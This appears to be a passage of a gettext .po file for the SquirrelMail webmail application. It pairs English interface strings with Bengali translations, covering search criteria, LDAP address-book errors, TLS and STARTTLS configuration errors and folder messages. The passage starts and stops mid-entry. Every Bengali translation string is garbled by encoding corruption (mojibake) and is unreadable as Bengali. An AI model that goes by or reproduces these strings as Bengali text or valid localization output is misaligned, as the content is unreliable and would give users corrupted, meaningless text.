"āϤāĻžā§ŽāĻ•ā§āώāύāĻŋāĻ• āĻĒā§āϰāĻļā§āύ⧇āϰ āωāĻ¤ā§āϤāϰ āĻĻāĻŋāϤ⧇ āĻĒāĻžāϰ⧇āĨ¤"

#, php-format
msgid ""
"SquirrelMail is a feature rich, standards compliant webmail application "
"written in PHP. It was made by a group of volunteers united in the "
"SquirrelMail Project Team and is released as open source, free software "
"under the %sGNU General Public License%s."
msgstr ""
"SquirrelMail āĻŦ⧈āĻļāĻŋāĻˇā§āĻŸā§āϝ⧇āϰ āĻĻāĻŋāĻ• āĻĨ⧇āϕ⧇ āĻ…āύ⧇āĻ• āωāĻ¨ā§āύāϤ, āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āĻĻā§āĻŦāĻžāϰāĻž āϞāĻŋāĻ–āĻŋāϤ āĻ“ā§Ÿā§‡āĻŦāĻŦāĻžāĻ°ā§āϤāĻž "
"āĻĒā§āĻ°ā§Ÿā§‹āĻ— āύāĻŋ⧟āĻŽ āϏāĻŽā§āĻŽāϤāĨ¤ āĻāϟāĻŋ āĻāĻ•āĻĻāϞ āϏ⧇āĻšā§āĻ›āĻžāϏ⧇āĻŦā§€ āĻ•āĻ°ā§āĻŽā§€ āϝāĻžāϰāĻž SquirrelMail āĻĒā§āϰāĻ•āĻ˛ā§āĻĒ⧇ āĻāĻ•āĻ¤ā§āϰāĻŋāϤ "
"āĻĻā§āĻŦāĻžāϰāĻž āύāĻŋāĻ°ā§āĻŽāĻŋāϤ āĻāĻŦāĻ‚ āĻāϟāĻŋ āĻāĻ•āϟāĻŋ āĻŽā§āĻ•ā§āϤ āĻ‰ā§ŽāϏ, āĻŽā§āĻ•ā§āϤ āϏāĻĢāϟāĻ“ā§Ÿā§āϝāĻžāϰ %1$sGNU āĻāϰ āĻ…āϧ⧀āύ⧇ āϏāĻžāϧāĻžāϰāύ "
"āϏāĻ°ā§āĻŦāϜāύ⧀āύ āϞāĻžāχāϏ⧇āĻ¨ā§āϏ%2$s āĻšāĻŋāϏ⧇āĻŦ⧇ āĻŽā§āĻ•ā§āϤāĻŋ āĻĒā§‡ā§Ÿā§‡āϛ⧇āĨ¤"

#, php-format
msgid ""
"For more information about SquirrelMail and the SquirrelMail Project Team, "
"see %sthe SquirrelMail website%s."
msgstr ""
"SquirrelMail āĻāĻŦāĻ‚ SquirrelMail āĻĒā§āϰāĻ•āĻ˛ā§āĻĒ āĻĻāϞ āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇ āφāϰāĻ“ āϜāĻžāύāϤ⧇, āĻĻ⧇āϖ⧁āύ %1$sthe "
"SquirrelMail āĻ“ā§Ÿā§‡āĻŦāϏāĻžāχāϟ%2$sāĨ¤"

msgid "System information"
msgstr "āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽā§‡āϰ āϤāĻĨā§āϝ"

#, php-format
msgid "You are using SquirrelMail version: %s"
msgstr "āφāĻĒāύāĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϛ⧇āύ SquirrelMail āϏāĻ‚āĻ•āϞāύ: %s"

msgid "The administrator installed the following plugins:"
msgstr "āĻĒā§āϰāĻļāĻžāϏāĻ• āύāĻŋāĻŽā§āύ⧋āĻ•ā§āϤ āĻĒā§āϞāĻžāĻ—āĻŋāύāϗ⧁āϞ⧋ āϏāĻ‚āĻ¸ā§āĻĨāĻžāĻĒāύ āĻ•āϰ⧇āϛ⧇āύ:"

msgid "none installed"
msgstr "āϕ⧋āύ āĻ•āĻŋāϛ⧁ āϏāĻ‚āĻ¸ā§āĻĨāĻžāĻĒāĻŋāϤ āĻ•āϰāĻž āύ⧟"

msgid "Nothing to search"
msgstr "āĻ–ā§‹āρāϜāĻžāϰ āĻŽāϤ āĻ•āĻŋāϛ⧁āχ āύ⧇āχ"

msgid "SquirrelMail Webmail"
msgstr "SquirrelMail āĻ“ā§Ÿā§‡āĻŦāĻŽā§‡āχāϞ"

#, php-format
msgid "The %s logo"
msgstr "%s āϞ⧋āĻ—ā§‹"

msgid "Add New Identity"
msgstr "āύāϤ⧁āύ āĻāĻ•āϟāĻž āĻĒāϰāĻŋāϚ⧟ āϤ⧈āϰ⧀ āĻ•āϰ⧁āύ"

msgid "Received"
msgstr "āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāĻĒāĻ¤ā§āϰ"

msgid "Compose Preferences"
msgstr "āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋ āĻāĻ•āĻ¤ā§āϰ āĻ•āϰ⧇ āĻ—āĻ āύ āĻ•āϰ⧁āύ"

#, php-format
msgid "Folder list should automatically %srefresh%s."
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž āĻ¸ā§āĻŦ⧟āĻ‚āĻ•ā§āϰāĻŋ⧟ āĻ­āĻžāĻŦ⧇ %1$srefresh%2$s āĻšāĻŦ⧇āĨ¤"

#, php-format
msgid "This page should automatically %srefresh%s."
msgstr "āĻĒ⧃āĻˇā§āĻ āĻžāϟāĻŋ āĻ¸ā§āĻŦ⧟āĻ‚āĻ•ā§āϰāĻŋ⧟ āĻ­āĻžāĻŦ⧇ %1$srefresh%2$s āĻšāĻŦ⧇āĨ¤"

msgid ""
"Control the behaviour and layout of writing new mail messages, replying to "
"and forwarding messages."
msgstr ""
"āĻŦāĻžāĻ°ā§āϤāĻžāϰ āϜāĻŦāĻžāĻŦ āĻĻāĻŋāϤ⧇ āĻāĻŦāĻ‚ āĻŦāĻžāĻ°ā§āϤāĻž āϞāĻŋāĻ–āϤ⧇, āύāϤ⧁āύ āĻŽā§‡āχāϞ⧇āϰ āφāϚāϰāĻŖ āĻāĻŦāĻ‚ āĻ›āĻžāĻĒāĻžāϰ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ āύāĻŋ⧟āĻ¨ā§āĻ¤ā§āϰāύ "
"āĻ•āϰ⧁āύāĨ¤"

#, php-format
msgid "Welcome to %s. Please supply your full name and email address."
msgstr "%s āϤ⧇ āĻ¸ā§āĻŦāĻžāĻ—āϤāĻŽāĨ¤ āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āφāĻĒāύāĻžāϰ āĻĒ⧁āϰ⧋āύāĻžāĻŽ āĻ“ āĻ āĻŋāĻ•āĻžāύāĻž āĻĻāĻŋāύāĨ¤"

msgid "Read Receipt"
msgstr "āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāĻĒāĻ¤ā§āϰ āĻĒāĻĄāĻŧ⧁āύ"

msgid "deleted"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

msgid "answered"
msgstr "āωāĻ¤ā§āϤāϰ āĻĻāĻŋā§Ÿā§‡āϛ⧇"

msgid "draft"
msgstr "āĻ–āϏāĻĄāĻŧāĻž"

msgid "flagged"
msgstr "āϟāĻŋāĻ• āϚāĻŋāĻšā§āύ āĻĻāĻŋā§Ÿā§‡āϛ⧇"

msgid "Status"
msgstr "āĻĒā§āϰāϤāĻŋāĻˇā§āĻ āĻž"

msgid "View as plain text"
msgstr "āϏāĻšāϜāĻŦā§‹āĻ§ā§āϝ āĻĒāĻžāĻ ā§āϝ āĻšāĻŋāϏ⧇āĻŦ⧇ āĻĻ⧇āĻ–āĻžāύ⧋"

msgid "View as HTML"
msgstr "HTML āĻšāĻŋāϏ⧇āĻŦ⧇ āĻĻ⧇āĻ–āĻžāύ⧋"

msgid "There must be at least one criteria to search for"
msgstr "āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ⧇āϰ āϜāĻ¨ā§āϝ āĻ…āĻ¨ā§āϤāϤāσ āĻāĻ•āϟāĻž āύāĻŋ⧟āĻŽ āĻĻāĻŋāϤ⧇ āĻšāĻŦ⧇"

msgid "Error in criteria argument"
msgstr "āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ⧇āϰ āύāĻŋ⧟āĻŽā§‡āϰ āωāĻĒāĻžāĻĻāĻžāύ⧇ āϭ⧁āϞ āφāϛ⧇"

msgid "(Illegal date)"
msgstr "(āĻ…āĻ°ā§āĻĨāĻšā§€āύ āϤāĻžāϰāĻŋāĻ–)"

msgid "(Wrong date)"
msgstr "(āϭ⧁āϞ āϤāĻžāϰāĻŋāĻ–)"

msgid "In"
msgstr "āĻāϰ āĻŽāĻ§ā§āϝ⧇"

msgid "(Missing argument)"
msgstr "(āωāĻĒāĻžāĻĻāĻžāύ āĻĻ⧇āĻ“ā§ŸāĻž āĻšā§Ÿ āύāĻŋ)"

msgid "(Spurious argument)"
msgstr "(āĻ…āϤāĻŋāϰāĻŋāĻ•ā§āϤ āωāĻĒāĻžāĻĻāĻžāύ)"

msgid "Missing"
msgstr "āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻž"

msgid "Standard Search"
msgstr "āφāĻĻāĻ°ā§āĻļ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

msgid "Advanced search"
msgstr "āĻ…āĻ¤ā§āϝāĻ¨ā§āϤ āĻ…āĻ—ā§āϰāϏāϰ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

msgid "Add New Criteria"
msgstr "āύāϤ⧁āύ āύāĻŋ⧟āĻŽ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Remove Excluded Criteria"
msgstr "āĻ…āϤāĻŋāϰāĻŋāĻ•ā§āϤ āύāĻŋ⧟āĻŽ āĻŦāĻžāĻĻ āĻĻāĻŋāύ"

msgid "Remove All Criteria"
msgstr "āϏāĻŦ āύāĻŋ⧟āĻŽ āĻŦāĻžāϤāĻŋāϞ āĻ•āϰ⧁āύ"

msgid "Not"
msgstr "āύ⧇āχ"

msgid "Answered"
msgstr "āωāĻ¤ā§āϤāϰ āĻĻ⧇āĻ“ā§ŸāĻž āĻšā§Ÿā§‡āϛ⧇"

msgid "Before"
msgstr "āĻāχ āϤāĻžāϰāĻŋāϖ⧇āϰ āφāϗ⧇"

msgid "Message Body"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϰ āĻŽā§‚āϞ āĻ…āĻ‚āĻļ"

msgid "Deleted"
msgstr "āĻŽā§‹āĻ›āĻž āĻšā§Ÿā§‡ āϗ⧇āϛ⧇ "

msgid "Draft"
msgstr "āĻ–āϏāĻĄāĻŧāĻž"

msgid "Flagged"
msgstr "āϟāĻŋāĻ• āϚāĻŋāĻšā§āύ āĻĻ⧇āĻ“ā§ŸāĻž"

msgid "Sent By"
msgstr "āϝ⧇ āĻĒāĻžāĻ āĻŋā§Ÿā§‡āϛ⧇"

msgid "Header Field"
msgstr "āĻļāĻŋāϰāϞ⧇āĻ– āĻ•ā§āώ⧇āĻ¤ā§āϰ"

msgid "Keyword"
msgstr "āϗ⧁āϰ⧁āĻ¤ā§āĻŦāĻĒā§‚āĻ°ā§āĻŖ āĻļāĻŦā§āĻĻ"

msgid "Larger Than"
msgstr "āĻāϰ āĻšā§‡ā§Ÿā§‡ āĻŦ⧜"

msgid "Old"
msgstr "āĻĒ⧁āϰāĻžāύ⧋"

msgid "On"
msgstr "āĻāϤ⧇"

msgid "Recent"
msgstr "āϏāĻžāĻŽā§āĻĒā§āϰāϤāĻŋāĻ•"

msgid "Seen"
msgstr "āĻĒāĻĄāĻŧāĻž āĻšā§Ÿā§‡āϛ⧇ āĻāĻŽāύ"

msgid "Sent Before"
msgstr "āĻāϰ āφāϗ⧇ āĻĒāĻžāĻ āĻžāύ⧋"

msgid "Sent On"
msgstr "āĻāχ āϤāĻžāϰāĻŋāĻ–/āϏāĻŽā§Ÿā§‡ āĻĒāĻžāĻ āĻžāύ⧋"

msgid "Sent Since"
msgstr "āĻāχ āϤāĻžāϰāĻŋāĻ–/āϏāĻŽā§Ÿā§‡āϰ āĻĒāϰ⧇ āĻĒāĻžāĻ āĻžāύ⧋"

msgid "Since"
msgstr "āĻĒāϰ⧇"

msgid "Smaller Than"
msgstr "āĻāϰ āĻšā§‡ā§Ÿā§‡ āϛ⧋āϟ"

msgid "Subject Contains"
msgstr "āĻŦāĻŋāĻˇā§Ÿā§‡āϰ āĻŽāĻ§ā§āϝ⧇ āφāϛ⧇"

msgid "Header and Body"
msgstr "āĻļāĻŋāϰāϞ⧇āĻ– āĻāĻŦāĻ‚ āĻŽā§‚āϞ āĻ…āĻ‚āĻļ"

msgid "Sent To"
msgstr "āϝāĻžāϰ āĻ•āĻžāϛ⧇ āĻĒāĻžāĻ āĻžāύ⧋ āĻšā§Ÿā§‡āϛ⧇"

msgid "And In"
msgstr "āφāϰ āĻāĻ–āĻžāύ⧇"

msgid "Or In"
msgstr "āĻ…āĻĨāĻŦāĻž āĻāĻ–āĻžāύ⧇"

msgid "And"
msgstr "āĻāĻŦāĻ‚"

msgid "Or"
msgstr "āĻ…āĻĨāĻŦāĻž"

msgid "No RPC action given"
msgstr "āϕ⧋āύ RPC āĻ•āĻžāϜ āĻĻā§‡ā§ŸāĻž āύ⧇āχ"

msgid "No deletion ID given"
msgstr "āϕ⧋āύ āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻŋāϤ āφāχāĻĄāĻŋ āĻĻā§‡ā§ŸāĻž āύ⧇āχ"

msgid "No mailbox given"
msgstr "āϕ⧋āύ āĻĄāĻžāĻ•āĻŦāĻžāĻ•ā§āϏ āĻĻā§‡ā§ŸāĻž āύ⧇āχ"

msgid "RPC action not understood"
msgstr "RPC āĻ•ā§āϰāĻŋ⧟āĻž āĻŦā§‹āĻāĻž āϝāĻžā§ŸāύāĻŋ"

msgid "Personal Address Book"
msgstr "āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ āĻŋāĻ•āĻžāύāĻžāϰ āĻŦāχ"

msgid "PHP install does not have LDAP support."
msgstr "PHP āχāύāĻ¸ā§āϟāϞ LDAP āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid "Removing entry from address book failed"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāϰ āĻŦāχ āĻšāϤ⧇ āĻāĻ¨ā§āĻŸā§āϰāĻŋ āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻŦā§āϝāĻ°ā§āĻĨ"

msgid "LDAP rename is not supported by used protocol version"
msgstr "LDAP āĻĒ⧁āύāϰāĻžā§Ÿ āύāĻžāĻŽāĻ•āϰāĻŖ āĻŦā§āϝāĻŦāĻšā§ƒāϤ āĻĒā§āϰ⧋āĻŸā§‹āĻ•āϞ āϏāĻ‚āĻ•āϞāύ āĻĻā§āĻŦāĻžāϰāĻž āϏāĻŽāĻ°ā§āĻĨāĻŋāϤ āύ⧟"

msgid ""
"LDAP rename is not supported by used LDAP library. You can't change nickname"
msgstr ""
"LDAP āĻĒ⧁āύāϰāĻžā§Ÿ āύāĻžāĻŽāĻ•āϰāĻŖ āĻŦā§āϝāĻŦāĻšā§ƒāϤ LADP āϞāĻžāχāĻŦā§āϰ⧇āϰāĻŋ āĻĻā§āĻŦāĻžāϰāĻž āϏāĻŽāĻ°ā§āĻĨāĻŋāϤ āύ⧟āĨ¤ āφāĻĒāύāĻŋ āĻ›āĻĻā§āĻŽāύāĻžāĻŽ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ "
"āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ āύāĻž"

msgid "LDAP rename failed"
msgstr "LDAP āύāϤ⧁āύ āύāĻžāĻŽāĻ•āϰāĻŖ āĻŦā§āϝāĻ°ā§āĻĨ"

msgid "Unable to remove some field values"
msgstr "āĻ•āĻŋāϛ⧁ āĻ•ā§āώ⧇āĻ¤ā§āϰ⧇āϰ āĻŽāĻžāύ āϏāϰāĻŋā§Ÿā§‡ āĻĢ⧇āϞāϤ⧇ āĻ…āĻ•ā§āώāĻŽ"

#, php-format
msgid "Unable to rename user \"%s\" to \"%s\""
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āύāĻžāĻŽ \"%1$s\" āĻšāϤ⧇ \"%2$s\" āĻ•āϰāϪ⧇ āĻŦā§āϝāĻ°ā§āĻĨ"

msgid "Global Address Book"
msgstr "āϏāĻ°ā§āĻŦāĻ¤ā§āϰāϞāĻ­ā§āϝ āĻ āĻŋāĻ•āĻžāύāĻž āĻŦāχ"

msgid "Error initializing other address books."
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāϰ āĻ–āĻžāϤāĻžāϟāĻž āĻļ⧁āϰ⧁ āĻ•āϰāϤ⧇ āĻ—āĻŋā§Ÿā§‡ āϏāĻŽāĻ¸ā§āϝāĻžāĨ¤"

msgid "Unknown address book backend"
msgstr "āĻ…āϜāĻžāύāĻž āĻ āĻŋāĻ•āĻžāύāĻžāϰ āĻ–āĻžāϤāĻž āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄ"

#, php-format
msgid "%s %s"
msgstr "%1$s %2$s"

msgid ""
"Could not open temporary file to store attachment. Contact your system "
"administrator to resolve this issue."
msgstr ""
"āϏāĻ‚āϝ⧁āĻ•ā§āϤ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāϤ⧇ āĻ…āĻ¸ā§āĻĨāĻžā§Ÿā§€ āĻĢāĻžāχāϞ āĻ–ā§‹āϞāĻž āϝāĻžāĻšā§āϛ⧇āύāĻžāĨ¤ āĻ•āĻžāϰāĻŋāĻ—āϰ⧀ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāĻ•āĻĻ⧇āϰ āĻŦāϞ⧁āύ āϏāĻŽāĻ¸ā§āϝāĻžāϟāĻž "
"āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇āĨ¤"

#, php-format
msgid "%s should be writable by user %s."
msgstr "%1$s, āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀ %2$s āĻĻā§āĻŦāĻžāϰāĻž āϞāĻŋāĻ–āĻŋāϤ āĻšāϤ⧇ āĻšāĻŦ⧇āĨ¤"

msgid "Illegal folder name."
msgstr "āĻ…āύ⧈āϤāĻŋāĻ• āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āύāĻžāĻŽāĨ¤"

#, php-format
msgid "The name may not contain any of the following: %s"
msgstr "āύāĻžāĻŽāϟāĻŋ āύāĻŋāĻšā§‡āϰ āϕ⧋āύāϟāĻŋāϕ⧇ āϧāĻžāϰāύ āĻ•āϰāϤ⧇ āύāĻžāĻ“ āĻĒāĻžāϰ⧇: %s"

msgid "Please select a different name."
msgstr "āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āĻ…āĻ¨ā§āϝ āύāĻžāĻŽ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧁āύāĨ¤"

msgid "You have not selected a folder to subscribe. Please do so."
msgstr "āĻ…āύ⧁āĻŽā§‹āĻĻāύ āĻ•āϰāϤ⧇ āφāĻĒāύāĻŋ āϕ⧋āύ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤ āĻ•āϰ⧇āύāύāĻŋāĨ¤ āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āĻāϟāĻŋ āĻ•āϰ⧁āύāĨ¤"

msgid "You have not selected a folder to unsubscribe. Please do so."
msgstr "āĻ…āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤ āĻ•āϰāϤ⧇ āφāĻĒāύāĻŋ āϕ⧋āύ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰ⧇āύāύāĻŋāĨ¤ āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āĻāϟāĻŋ āĻ•āϰ⧁āύāĨ¤"

msgid "Illegal filesystem access was requested"
msgstr "āĻ…āύ⧈āϤāĻŋāĻ• āĻĢāĻžāχāϞāϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻĒā§āϰāĻŦ⧇āĻļāĻžāϧāĻŋāĻ•āĻžāϰ āĻ…āύ⧁āϰ⧋āϧ āĻ•āϰāĻž āĻšā§Ÿā§‡āĻ›āĻŋāϞ"

msgid "Possible reason:"
msgstr "āϏāĻŽā§āĻ­āĻžāĻŦā§āϝ āĻ•āĻžāϰāĻŖ:"

msgid "ERROR: Bad function call."
msgstr "āĻ¤ā§āϰ⧁āϟāĻŋ: āĻĢāĻžāĻ‚āĻļāύ āĻ•āϞ⧇ āĻ¤ā§āϰ⧁āϟāĻŋāĨ¤"

msgid "Reason:"
msgstr "āĻ•āĻžāϰāĻŖ:"

msgid ""
"TLS is enabled, but this version of PHP does not support TLS sockets, or is "
"missing the openssl extension."
msgstr ""
"TLS āϏāĻ•ā§āϰāĻŋ⧟, āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āϏāĻ‚āĻ•āϞāύāϟāĻŋ TLS āϏāϕ⧇āϟāϗ⧁āϞ⧋āϕ⧇ āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻž, āĻŦāĻž āĻŽā§āĻ•ā§āϤssl "
"āĻŦāĻ°ā§āϧāĻŋāϤāĻžāĻ‚āĻļāϟāĻŋ āĻšāĻžāϰāĻŋā§Ÿā§‡ āĻĢ⧇āϞāϛ⧇āĨ¤"

msgid ""
"IMAP STARTTLS is enabled in SquirrelMail configuration, but used IMAP server "
"does not support STARTTLS."
msgstr ""
"SquirrelMail āĻ•āύāĻĢāĻŋāĻ—āĻžāϰ⧇āĻļāύ⧇ IMAP STARTTL āϏāĻ•ā§āϰāĻŋ⧟, āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻŦā§āϝāĻŦāĻšā§ƒāϤ āφāχāĻŽā§āϝāĻžāĻĒ āϏāĻžāĻ°ā§āĻ­āĻžāϰ "
"STARTTLS āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid "Unable to start TLS."
msgstr "TLS āĻļ⧁āϰ⧁ āĻ•āϰāϤ⧇ āĻ…āĻ•ā§āώāĻŽāĨ¤"

msgid ""
"IMAP STARTTLS is enabled in SquirrelMail configuration, but used PHP version "
"does not support functions that allow to enable encryption on open socket."
msgstr ""
"SquirrelMail āĻ•āύāĻĢāĻŋāĻ—āĻžāϰ⧇āĻļāύ⧇ IMAP STARTTLS āϏāĻ•ā§āϰāĻŋ⧟, āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻŦā§āϝāĻŦāĻšā§ƒāϤ āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āϏāĻ‚āĻ•āϞāύ āĻŽā§āĻ•ā§āϤ "
"āϏāϕ⧇āĻŸā§‡ āĻāύāĻ•ā§āϰāĻŋāĻĒāĻļāύ āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid ""
"Your mailbox is not located at this server. Try a different server or "
"consult your system administrator"
msgstr ""
"āφāĻĒāύāĻžāϰ āϚāĻŋāĻ āĻŋāϰ āĻŦāĻžāĻ•ā§āϏāϟāĻŋ āĻāχ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āĻ¸ā§āĻĨāĻžāĻĒāύ āĻ•āϰāĻž āĻšā§ŸāύāĻŋāĨ¤ āĻ…āĻ¨ā§āϝ āĻāĻ•āϟāĻŋ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻšā§‡āĻ¸ā§āϟāĻž āĻ•āϰ⧁āύ āĻŦāĻž "
"āφāĻĒāύāĻžāϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻĒā§āϰāĻļāĻžāϏāϕ⧇āϰ āϏāĻžāĻĨ⧇ āφāϞ⧋āϚāύāĻž āĻ•āϰ⧁āύ"

msgid "Trash"
msgstr "āĻ…āĻĒā§āĻ°ā§Ÿā§‹āϜāĻ¨ā§€ā§Ÿ āϜāĻŋāύāĻŋāϏ"

msgid "Drafts"
msgstr "āĻ–āϏāĻĄāĻŧāĻž"

msgid "Unknown recipient"
msgstr "āĻ…āĻœā§āĻžāĻžāϤ āĻĒā§āϰāĻžāĻĒāĻ•"

msgid "Unflag"
msgstr "āφāύāĻĢā§āϞāĻžāĻ—"

msgid "Flag"
msgstr "āϟāĻŋāĻ• āϚāĻŋāĻšā§āύ"

msgid "Undelete"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻšā§ŸāύāĻŋ"

msgid "Bypass Trash"
msgstr "āĻŦāĻžāχāĻĒāĻžāϏ āĻ…āĻĒā§āĻ°ā§Ÿā§‹āϜāĻ¨ā§€ā§Ÿ āϜāĻŋāύāĻŋāϏ"

msgid "Copy"
msgstr "āĻ…āύ⧁āϞāĻŋāĻĒāĻŋ"

msgid "unavailable"
msgstr "āύāĻŋāĻˇā§āĻĢāϞ, āύāĻŋāϰāĻ°ā§āĻĨāĻ•"

msgid "KiB"
msgstr "āĻ•āĻŋāϞ⧋āĻŦāĻžāχāϟ"

msgid "MiB"
msgstr "āĻŽā§‡āĻ—āĻžāĻŦāĻžāχāϟ"

msgid "Error"
msgstr "āĻ¤ā§āϰ⧁āϟāĻŋ"

msgid "Terminating SquirrelMail due to a fatal error"
msgstr "āĻāĻ•āϟāĻŋ āĻŽāĻžāϰāĻžāĻ¤ā§āĻŽāĻ• āĻ¤ā§āϰ⧁āϟāĻŋāϰ āĻ•āĻžāϰāύ⧇ SquirrelMail āĻĒā§āϰāĻ¤ā§āϝāĻžāĻšāĻžāϰ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇"

msgid ""
"Secure SMTP (TLS) is enabled in SquirrelMail configuration, but used PHP "
"version does not support it."
msgstr ""
"āύāĻŋāϰāĻžāĻĒāĻĻ SMTP (TLS) SquirrelMail āĻ āϏāĻ•ā§āϰāĻŋ⧟, āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āϏāĻ‚āĻ•āϞāύ āĻāϟāĻŋāϕ⧇ āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ "
"āύāĻžāĨ¤"

msgid "TLS session is already activated."
msgstr "āχāϤ⧋āĻŽāĻ§ā§āϝ⧇ TLS āĻ…āϧāĻŋāĻŦ⧇āĻļāύ āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇āĨ¤"

msgid ""
"SMTP STARTTLS is enabled in SquirrelMail configuration, but used SMTP server "
"does not support it"
msgstr ""
"SMTP STARTTLS, SquirrelMail āĻŦāĻŋāĻ¨ā§āϝāĻžāϏāύ⧇ āϏāĻ•ā§āϰāĻŋ⧟, āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻŦā§āϝāĻŦāĻšā§ƒāϤ SMTP āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻāϟāĻŋāϕ⧇ "
"āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻž"

msgid ""
"SMTP STARTTLS is enabled in SquirrelMail configuration, but used PHP version "
"does not support functions that allow to enable encryption on open socket."
msgstr ""
"SquirrelMail āĻŦāĻŋāĻ¨ā§āϝāĻžāϏāύ⧇ SMTP STARTTL āϏāĻ•ā§āϰāĻŋ⧟, āĻ•āĻŋāĻ¨ā§āϤ⧁ āĻŦā§āϝāĻŦāĻšā§ƒāϤ āĻĒāĻŋāĻāχāϚāĻĒāĻŋ āϏāĻ‚āĻ•āϞāύ āĻŽā§āĻ•ā§āϤ āϏāϕ⧇āĻŸā§‡ "
"āĻāύāĻ•ā§āϰāĻŋāĻĒāĻļāύ āϏāĻŽāĻ°ā§āĻĨāύ āĻ•āϰ⧇ āύāĻžāĨ¤"

msgid ""
"Run \"configure\", choose option 4 (General options) and set option 10 "
"(Disable server thread sort) to true)."
msgstr ""
"\"āĻŦāĻŋāĻ¨ā§āϝāĻžāϏāύ\" āϚāĻžāϞāĻžāύ, ā§Ē āĻ…āĻĒāĻļāύ āĻĒāĻ›āĻ¨ā§āĻĻ āĻ•āϰ⧁āύ (āϏāĻžāϧāĻžāϰāĻŖ āĻ…āĻĒāĻļāύ) āĻāĻŦāĻ‚ ā§§ā§Ļ āϤ⧇ āĻ…āĻĒāĻļāύ āύāĻŋāϝ⧁āĻ•ā§āϤ āĻ•āϰ⧁āύ "
"(āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĨā§āϰ⧇āĻĄ āϏāĻžāϜāĻžāύ⧋ āĻ…āĻ•ā§āώāĻŽ āĻ•āϰ⧁āύ) āϏāĻ¤ā§āϝāϰ āϜāĻ¨ā§āϝ)āĨ¤"

msgid ""
"Run \"configure\", choose option 4 (General options) and set option 11 "
"(Disable server-side sorting) to true."
msgstr ""
"\"āĻŦāĻŋāĻ¨ā§āϝāĻžāϏāύ\" āϚāĻžāϞāĻžāύ, ā§Ē āĻ…āĻĒāĻļāύ āĻĒāĻ›āĻ¨ā§āĻĻ āĻ•āϰ⧁āύ (āϏāĻžāϧāĻžāϰāĻŖ āĻ…āĻĒāĻļāύ) āĻāĻŦāĻ‚ ā§§ā§§ āϤ⧇ āĻ…āĻĒāĻļāύ āύāĻŋāϝ⧁āĻ•ā§āϤ āĻ•āϰ⧁āύ "
